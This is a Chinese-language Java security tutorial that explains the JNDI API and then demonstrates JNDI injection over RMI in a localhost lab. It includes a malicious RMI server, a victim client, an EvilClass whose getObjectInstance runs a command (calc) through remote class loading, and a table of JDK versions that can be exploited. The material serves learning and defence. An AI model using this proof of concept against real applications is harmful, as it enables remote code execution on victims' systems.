本文最后更新于:2023年9月1日 上午
[TOC]
【java安全】JNDI注入概述
什么是JNDI?
JNDI(Java Naming and Directory Interface)
是Java
提供的Java
命名和目录接口。通过调用JNDI
的API
可以定位资源和其他程序对象。
命名服务将名称和对象联系起来,使得我们可以用名称访问对象
JDNI的结构
jndi的作用主要在于”定位”。比如定位rmi中注册的对象,访问ldap的目录服务等等
其实就可以理解为下面这些服务的一个客户端:
有这么几个关键元素
- Name,要在命名系统中查找对象,请为其提供对象的名称
- Bind,名称与对象的关联称为绑定,比如在文件系统中文件名绑定到对应的文件,在 DNS 中域名绑定到对应的 IP
- Context,上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文
- References,在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C中的指针
这些命名/目录服务提供者:
协议 |
作用 |
LDAP |
轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容 |
RMI |
JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象 |
DNS |
域名服务 |
CORBA |
公共对象请求代理体系结构 |
在Java JDK
里面提供了5个包,提供给JNDI
的功能实现,分别是:
1 2 3 4 5
| javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。 javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类; javax.naming.event:在命名目录服务器中请求事件通知; javax.naming.ldap:提供LDAP支持; javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
|
InitialContext - 上下文
构造方法:
1 2 3 4 5 6
| InitialContext()
InitialContext(boolean lazy)
InitialContext(Hashtable<?,?> environment)
|
常用方法:
1 2 3 4 5 6 7 8 9 10
| bind(Name name, Object obj)
list(String name)
lookup(String name)
rebind(String name, Object obj)
unbind(String name)
|
示例:
1 2 3 4 5 6 7 8 9 10 11 12
| import javax.naming.InitialContext; import javax.naming.NamingException;
public class jndi { public static void main(String[] args) throws NamingException { InitialContext initialContext = new InitialContext(); String uri = "rmi://127.0.0.1:1099/work"; initialContext.lookup(uri); } }
|
Reference - 引用
Reference
类表示对存在于命名/目录系统以外的对象的引用,具体则是指如果远程获取RMI
服务器上的对象为Reference
类或者其子类时,则可以从其他服务器上加载class字节码
文件来实例化。
构造方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| Reference(String className)
Reference(String className, RefAddr addr)
Reference(String className, RefAddr addr, String factory, String factoryLocation)
Reference(String className, String factory, String factoryLocation)
|
常用方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| void add(int posn, RefAddr addr)
void add(RefAddr addr)
void clear()
RefAddr get(int posn)
RefAddr get(String addrType)
Enumeration<RefAddr> getAll()
String getClassName()
String getFactoryClassLocation()
String getFactoryClassName()
Object remove(int posn)
int size()
String toString()
|
示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class jndi { public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException { String url = "http://127.0.0.1:8080"; Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("test", "test", url); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("aa",referenceWrapper); } }
|
这里创建完Reference
后又调用了ReferenceWrapper
将其传进去了,为什么这么做呢?
因为我们前面学习RMI
的时候,将类注册到Registry
使用的类必须继承UnicastRemoteObject
类以及实现Remote
接口
但是我们这里Reference
没有满足,所以需要使用ReferenceWrapper
将其封装一下
1 2 3
| public class Reference implements Cloneable, java.io.Serializable ... public class ReferenceWrapper extends UnicastRemoteObject implements RemoteReference
|
JNDI注入
JNDI 注入,即当开发者在定义 JNDI
接口初始化时,lookup()
方法的参数可控,攻击者就可以将恶意的 url
传入参数远程加载恶意载荷,造成注入攻击。
JNDI注入的过程如下:
- 客户端程序调用了
InitialContext.lookup(url)
并且url可以被输入控制,指向精心构造好的RMI服务地址
- 恶意的RMI服务会向受攻击的客户端返回一个Reference,用于获取恶意的Factory类
- 当客户端执行lookup时,客户端会获取相应的
object factory
,通过factory.getObjectInstance()
获取外部远程对象的实例
- 攻击者在Factory类文件的构造方法,静态代码块,
getObjectInstance()
方法等处写入恶意代码,达到远程代码执行的效果
- 既然要用到Factory,那么恶意类需要实现
ObjectFactory
接口
具体攻击流程图:
JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:
协议 |
JDK6 |
JDK7 |
JDK8 |
JDK11 |
LADP |
6u211以下 |
7u201以下 |
8u191以下 |
11.0.1以下 |
RMI |
6u132以下 |
7u122以下 |
8u113以下 |
无 |
JNDI & RMI
利用版本:
JDK 6u132
、7u122
、8u113
之前可以
JNDI注入使用Reference
首先搭建一个服务端:RMIServer
服务端的创建,按步骤来
- 首先是注册中心
- 然后是恶意类所在地址
- 接着是创建Reference对象引用,绑定恶意类的地址
- 绑定Name
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RMIServer { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { Registry registry = LocateRegistry.createRegistry(1099); String url = "http://127.0.0.1:1098/"; Reference reference = new Reference("EvilClass", "EvilClass", url); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("class",referenceWrapper); } }
|
然后搭建一个客户端RMIClient
(客户端也是受害端):
1 2 3 4 5 6 7 8 9 10
| import javax.naming.InitialContext; import javax.naming.NamingException;
public class RMIClient { public static void main(String[] args) throws NamingException { InitialContext context = new InitialContext(); String url = "rmi://127.0.0.1:1099/class"; context.lookup(url); } }
|
然后需要创建一个恶意类:
实现ObjectFactory
接口,把恶意代码写在getObjectInstance
里面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.IOException; import java.util.Hashtable;
public class EvilClass implements ObjectFactory { static { System.out.println("hello,static~"); } public EvilClass() throws IOException { System.out.println("constructor~"); }
@Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { Runtime.getRuntime().exec("calc"); System.out.println("hello,getObjectInstance~"); return null; } }
|
搭建好了以后我们首先运行服务端:(注意jdk版本)
然后我们将EvilClass
编译一下,使用python开启一个http服务:
接着我们运行客户端RMIClient:
我们发现已经成功执行代码了,并且是在客户端执行的
可以参考这张思维导图: